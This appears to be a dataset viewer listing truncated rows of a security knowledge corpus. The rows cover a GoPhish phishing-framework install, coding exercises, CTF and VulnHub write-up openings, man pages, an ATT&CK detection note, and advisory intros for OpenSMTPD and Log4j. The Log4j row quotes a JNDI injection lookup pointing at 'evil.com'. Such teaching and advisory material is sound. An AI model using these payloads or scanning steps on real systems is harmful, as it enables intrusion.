wget https://github.com/gophish/gophish/releases/download/0.7.1/gophish-v0.7.1-linux-64bit.zip
# 解压并启动
mkdir -p /app/gophish
unzip gophish-v0.7.1-linux-64bit.zip -d /app/gophish/ && cd /app/g... | sec-knowleage |
# 19. 正则表达式匹配
[牛客网](https://www.nowcoder.com/practice/28970c15befb4ff3a264189087b99ad4?tpId=13&tqId=11205&tab=answerKey&from=cyc_github)
## 题目描述
请实现一个函数用来匹配包括 '.' 和 '\*' 的正则表达式。模式中的字符 '.' 表示任意一个字符,而 '\*' 表示它前面的字符可以出现任意次(包含 0 次)。
在本题中,匹配是指字符串的所有字符匹配整个模式。例如,字符串 "aaa" 与模式 "a.a" 和 "ab\*ac\*a" 匹配,但是与 "aa.a" 和 "ab\*a" 均不匹配。
... | sec-knowleage |
## Asian Cheetah (Misc, 50p)
We have hidden a message in png file using jar file. Flag is hidden message. Flag is in this format:
SharifCTF{flag}
Download cheetah.tar.gz
###ENG
[PL](#pl-version)
In this task we had an image and a Java program used to hide flag in it. Decompiling the program allows us to not... | sec-knowleage |
# Writeup Hitcon CTF Quals 2015
Uczestniczyliśmy (msm, Rev, Shalom, other019, nazywam i pp) w Hitcon CTF, i znowu spróbujemy opisać zadania z którymi walczyliśmy (a przynajmniej te, które pokonaliśmy).
Ogólne wrażenia:
?
Opisy zadań po kolei.
# Spis treści:
* [Puzzleng (forensic 250)](forensic_250_puzzleng)
* [Simple (... | sec-knowleage |
fping
===
fping检测主机是否存在
## 补充说明
**fping命令** fping类似于ping,但比ping强大。与ping要等待某一主机连接超时或发回反馈信息不同,fping给一个主机发送完数据包后,马上给下一个主机发送数据包,实现多主机同时ping,fping还可以在命令行中指定要ping的主机数量范围。
### 语法
```shell
fping(选项)(参数)
```
### 选项
```shell
-a # 显示存活的主机
-b # ping 数据包的大小。(默认为56)
-c # ping每个目标的次数 (默认为1)
-f # 从文件获取目标列表(不能与 -g 同时使用)
-l # 循环发送p... | sec-knowleage |
# Pinkys Palace v2
> https://download.vulnhub.com/pinkyspalace/Pinkys-Palace2.zip
靶场IP:

扫描对外端口
```
┌──(root💀kali)-[~/Desktop]
└─# nmap -sV -p 1-65535 192.168.32.182
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-20 04:34 EDT
Nmap scan re... | sec-knowleage |
##Game of life (PPC/Recon, 500p)
Dont blink your Eyes, you might miss it. But the fatigue and exhaustion rules out any logic, any will to stay awake. What you need now is a slumber. Cat nap will not do. 1 is LIFE and 0 is DEAD. in this GAME OF LIFE sleep is as important food. So... catch some sleep. But Remember...In... | sec-knowleage |
### 事件监听
当你需要为某个元素监听某个事件的时候,只需要简单地给它加上`on*`就可以了。而且你不需要考虑不同浏览器兼容性的问题
React.js 会给每个事件监听传入一个`event`对象,这个对象提供的功能和浏览器提供的功能一致,而且它是兼容所有浏览器的。
例如我们现在要给`button`加上点击的事件监听:
```
class App extends React.Component{
handleClick(){
console.log('Click')
}
render(){
return(
<button onClick={this.handleClick.bind(this)... | sec-knowleage |
import subprocess, string, itertools, random, binascii, base64, sys
def get_n(f):
s=subprocess.check_output(["openssl","rsa","-noout","-text","-inform","PEM","-pubin","-in",f])
start=string.find(s,"Modulus:")
end=string.find(s,"Exponent:")
modulus=s[start:end].replace("Modulus:","").replace("\n","").re... | sec-knowleage |
# 日志分析
### Web日志分析目标
* 返回状态码分布图:针对Java出现大量500的情况需要注意;
* PV趋势图:
* 源IP分布图:
* 来源国家排行:
* 来源城市排行:
* 独立IP访问趋势图:
* 访问路径排行:
* 访问来源排行:
* 浏览器分布图:
* 特定接口访问图:
### 日志分析架构
我们企业内部使用的架构:
> 日志源-->rsyslog client-->rsyslog server-->kafka cluster-->ELK cluster
* **rsyslog client**
```
# 导入模块
module(load="imfile" mode="inotify")
# 设置工作目录
$... | sec-knowleage |
.TH WALL "1" "2013年8月" "util-linux" "用户命令"
.SH 名称
wall -- 向所有人发送消息
.SH 总览
.B wall
.RB [ \-n ]
.RB [ \-t
.IR 超时时间 ]
.RB [ \-g
.IR 用户组 ]
.RI [ 消息内容 " | " 文件 ]
.SH 描述
.B wall
显示一条给定的
.IR 消息内容 ,
或是
.IR 给定文件
中的内容,或者程序标准输入的内容,将其显示在所有当前已登录用户的终端上。
该命令会自动将长于 79 字符的行进行折行。
短行将会使用空格填充到 79 字符的宽度。
该命令总会在每行末尾放置一个回车符和一个换行符。
.PP
只有超级用户... | sec-knowleage |
.\" Copyright (c) 2002 Andries Brouwer <aeb@cwi.nl>
.\"
.\" %%%LICENSE_START(VERBATIM)
.\" Permission is granted to make and distribute verbatim copies of this
.\" manual provided the copyright notice and this permission notice are
.\" preserved on all copies.
.\"
.\" Permission is granted to copy and distribute modifi... | sec-knowleage |
# Leetcode 题解 - 位运算
<!-- GFM-TOC -->
* [Leetcode 题解 - 位运算](#leetcode-题解---位运算)
* [0. 原理](#0-原理)
* [1. 统计两个数的二进制表示有多少位不同](#1-统计两个数的二进制表示有多少位不同)
* [2. 数组中唯一一个不重复的元素](#2-数组中唯一一个不重复的元素)
* [3. 找出数组中缺失的那个数](#3-找出数组中缺失的那个数)
* [4. 数组中不重复的两个元素](#4-数组中不重复的两个元素)
* [5. 翻转一个数的比特位](#5-翻转一个数的比特位)
* [6. 不用额... | sec-knowleage |
# OpenSMTPD Remote Code Execution Vulnerability (CVE-2020-7247)
[中文版本(Chinese version)](README.zh-cn.md)
OpenSMTPD is an smtp service program for unix operating systems (BSD, MacOS, GNU/Linux), following the RFC 5321 SMTP protocol. OpenSMTPD was originally developed for the OpenBSD operating system and is part of the... | sec-knowleage |
# 目录
* ### [前言](content/前言.md#前言)
* [提示和免责声明](content/前言.md#提示和免责声明)
* ### [介绍](content/介绍.md)
* [渗透测试团队与红队](content/介绍.md#渗透测试团队与红队)
* [总结](content/介绍.md#总结)
* ### [第1章 赛前准备——安装](content/1_pregame_the_setup.md)
* [假定攻破练习](content/1_pregame_the_setup.md#假定攻破练习)
* [设定你的行动](content/1_pregame_the_setup.md#设定你的行动)
* ... | sec-knowleage |
.TH MAILSTATS 8 "UNIX Reference Manual" "3rd Berkeley Distribution" "April 25, 1996"
.SH NAME
.B mailstats - 显示邮件状态信息
.SH 总览
.B mailstats [-o] [-C cffile] [-f stfile]
.SH 描述
mailstats工具显示当前的邮件状态信息。
.PP
首先,先显示统计启动时所记录的时间,当然是以ctime(3)所指定的格式。然后每行显
示一个邮件程序的统计,而每行都以空格把下面这些字段分隔开:
.sp
.RS
.PD 0.2v
.TP 1.2i
M
邮件程序号码
.TP
ms... | sec-knowleage |
# T1082-win-系统信息发现
## 来自ATT&CK的描述
攻击者可能试图获取有关操作系统和硬件的详细信息,包括版本,补丁,修补程序,服务包和目录结构。攻击者可以在发现过程中使用系统信息中发现的信息来决定后续的操作,包括攻击者是否完全感染了目标或尝试了特定操作。
## 测试案例
### windows
获得此信息例如命令和实用程序包括VER,SYSTEMINFO,dir用于获取基于本文件和目录的信息。
## 检测日志
windows 安全日志
## 测试复现
windows下测试systeminfo命令
```dos
Microsoft Windows [版本 6.3.9600]
(c) 2013 Microsoft Cor... | sec-knowleage |
##Unickle (Web, 200p)
OSaaS is the new trend for 2016! Store your object directly in the cloud. Get rid of the hassle of managing your own storage for object with Osaas. Unickle currently offers a beta version that demonstrates how OSaaS will make the internet a better place... One object at a time!!
###PL
[ENG](#eng... | sec-knowleage |
##Gurke (Misc, 300p)
###PL
[ENG](#eng-version)
Na serwerze działa [skrypt](gurke.py) który odbiera od nas wiadomość a następnie deserializuje ją za pomocą pickle.
Z kodu wynika, że w pamięci wczytana jest flaga pobrana z socketu a my mamy dość spore ograniczenia jeśli chodzi o wołanie funkcji kernela.
Pickle pozwala n... | sec-knowleage |
# 题目
## 2016 Google CTF woodman
程序的大概意思就是一个猜数游戏,如果连续猜中若干次,就算会拿到 flag,背后的生成相应数的核心代码如下
```python
class SecurePrng(object):
def __init__(self):
# generate seed with 64 bits of entropy
self.p = 4646704883L
self.x = random.randint(0, self.p)
self.y = random.randint(0, self.p)
def next... | sec-knowleage |
# FunboxEasy
> https://download.vulnhub.com/funbox/Funbox3.ova
靶场IP:`192.168.2.13`
扫描对外端口服务
```
┌──(root㉿kali)-[~/Desktop]
└─# nmap -p1-65535 -sV 192.168.2.13
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-08 08:43 EDT
Nmap scan report for 192.168.2.13
Host is up (0.000083s latency).
Not shown: 65532 closed tcp por... | sec-knowleage |
# Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
[中文版本(Chinese version)](README.zh-cn.md)
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入,执行任意代码。
参考链接:
- https://logging.apache.org/log4j/2.x/security.html
- https://www.lunas... | sec-knowleage |
# authenticator (pwn, 2 solves)
This task was categoried as pwn, but in fact it was RE and simple crypto.
The hardest part of this task was to reverse engineer the binary.
main calls following functions:
`000000000406950` is sha1 function from boost library. The proof is the string `/usr/include/boost/uuid/sha1.hpp`.
... | sec-knowleage |
# Disk, disk, sleuth! II
Category: Forensics, 130 points
## Description
> All we know is the file with the flag is named `down-at-the-bottom.txt`...
A disk image was attached.
## Solution
If we simply try to `fsstat` the attached image in order to display the disk image details, we get an error:
```console
┌──(user@kal... | sec-knowleage |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.